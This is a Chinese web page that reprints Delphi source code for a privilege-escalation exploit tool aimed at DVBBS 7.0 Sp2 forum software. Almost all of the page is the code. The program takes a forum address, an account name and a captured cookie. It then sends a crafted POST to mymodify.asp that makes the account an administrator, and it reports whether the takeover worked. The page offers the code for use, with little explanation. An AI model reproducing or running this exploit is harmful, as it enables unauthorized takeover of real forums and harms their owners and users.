漏洞研究

关注公众号 jb51net

关闭
首页 > 实用技巧 > 漏洞研究 >

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码

作者:

DVBBS7.0Sp2前台提权漏洞利用程序[Kendy版]源码
作者:Kendy 文章来源:Kendy’s Blog 
unit Unit1; 
interface 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, ScktComp, StdCtrls, ComCtrls, WinSkinData, ShellApi; 
type 
  TForm1 = class(TForm) 
   Label1: TLabel; 
   Label2: TLabel; 
   Label3: TLabel; 
   Edit1: TEdit; 
   Edit2: TEdit; 
   Edit3: TEdit; 
   Button1: TButton; 
   ClientSocket1: TClientSocket; 
   GroupBox1: TGroupBox; 
   Memo1: TMemo; 
   Label4: TLabel; 
   StatusBar1: TStatusBar; 
   SkinData1: TSkinData; 
   procedure Button1Click(Sender: TObject); 
   procedure ClientSocket1Connect(Sender: TObject; 
    Socket: TCustomWinSocket); 
   procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket); 
   procedure ClientSocket1Error(Sender: TObject; Socket: TCustomWinSocket; 
    ErrorEvent: TErrorEvent; var ErrorCode: Integer); 
   procedure FormClose(Sender: TObject; var Action: TCloseAction); 
  private 
   { Private declarations } 
  public 
   { Public declarations } 
  end; 
var 
  Form1: TForm1; 
  Data: string; 
implementation 
{$R *.dfm} 
procedure TForm1.Button1Click(Sender: TObject); 
var 
  sUrl,sUsername,sPOST,sReferer,sHost,sCookie,S:string; 
  i:integer; 
begin 
  ClientSocket1.Close ; 
  if edit1.Text = ’’ then 
  begin 
   StatusBar1.Panels[0].Text :=’请输入论坛地址!’; 
   exit; 
  end; 
  if edit2.Text = ’’ then 
  begin 
   StatusBar1.Panels[0].Text :=’请输入你的论坛账号!’; 
   exit; 
  end; 
  if edit3.Text = ’’ then 
  begin 
   StatusBar1.Panels[0].Text :=’请输入抓取的Cookie!’; 
   exit; 
  end; 
  memo1.Text :=’’; 
  StatusBar1.Panels[0].Text :=’’; 
  Label4.Caption :=’’; 
  sUrl:=edit1.Text ; 
  if Pos(’http://’,sUrl) <> 0 then 
   sUrl:=StringReplace(sUrl,’http://’,’’,[rfIgnoreCase]); 
  sUsername:=edit2.Text ; 
  sCookie:=edit3.Text ; 
//--------Host------------- 
  i:=Pos(’/’,sUrl); 
  if i <> 0 then 
   sHost:=Copy(sUrl,0,i-1) 
  else 
   sHost:=sUrl; 
//--------Referer----------- 
  sReferer:=’http://’ + sUrl + ’/mymodify.asp’; 
//--------POST-------------- 
  sPost:=StringReplace(sUrl,sHost,’’,[rfIgnoreCase]); 
  sPost:=sPost + ’/mymodify.asp?action=updat&username=’ + sUsername; 
//--------数据包------------ 
  S:=’sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=images/userface/image1.gif|||32|||32|||2003-12-30%’; 
  S:=S+’2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||’; 
  S:=S+’0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||Dvbbs&width=100&height=100’; 
  S:=S+’&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&usercookies=1&setuserinfo’; 
  S:=S+’=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0’; 
  S:=S+’&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0’; 
  Data:=’POST ’+sPost+’ HTTP/1.1’+#13#10; 
  Data:=Data+’Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/msword, application/x-shockwave-flash, */*’+#13#10; 
  Data:=Data+’Referer: ’+sReferer+#13#10; 
  Data:=Data+’Accept-Language: zh-cn’+#13#10; 
  Data:=Data+’Content-Type: application/x-www-form-urlencoded’+#13#10; 
  Data:=Data+’Accept-Encoding: gzip, deflate’+#13#10; 
  Data:=Data+’User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; TencentTraveler )’+#13#10; 
  Data:=Data+’Host: ’+sHost+#13#10; 
  Data:=Data+’Content-Length: 585’+#13#10; 
  Data:=Data+’Connection: Keep-Alive’+#13#10; 
  Data:=Data+’Cache-Control: no-cache’+#13#10; 
  Data:=Data+’Cookie: ’+ sCookie+#13#10+#13#10; 
  Data:=Data+S; 
//--------开始发送数据包------------- 
  ClientSocket1.Host := sHost; 
  ClientSocket1.Port := 80; 
  ClientSocket1.Open ; 
  StatusBar1.Panels[0].Text :=’数据发送中...’; 
end; 
procedure TForm1.ClientSocket1Connect(Sender: TObject; 
  Socket: TCustomWinSocket); 
begin 
  Socket.SendText(Data); 
end; 
procedure TForm1.ClientSocket1Read(Sender: TObject; 
  Socket: TCustomWinSocket); 
begin 
  memo1.Text :=Socket.ReceiveText ; 
  if Pos(’您的修改信息已成功提交’,memo1.Text) <> 0 then 
  begin 
   Label4.Caption :=’>>成功提升为前台管理员!’; 
   StatusBar1.Panels[0].Text :=’成功,请重新登陆论坛!’; 
  end 
  else 
  begin 
   Label4.Caption :=’>> Sorry,提权失败’; 
   StatusBar1.Panels[0].Text :=’失败,换个论坛试试。’; 
  end; 
end; 
procedure TForm1.ClientSocket1Error(Sender: TObject; 
  Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; 
  var ErrorCode: Integer); 
begin 
  ErrorCode:= 0; 
  StatusBar1.Panels[0].Text :=’Error.....’; 
  Exit; 
end; 
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); 
begin 
  ShellExecute(Handle,’open’,’http://aliwy.77169.com’,nil,nil,SW_SHOW); 
end; 
end. 
阅读全文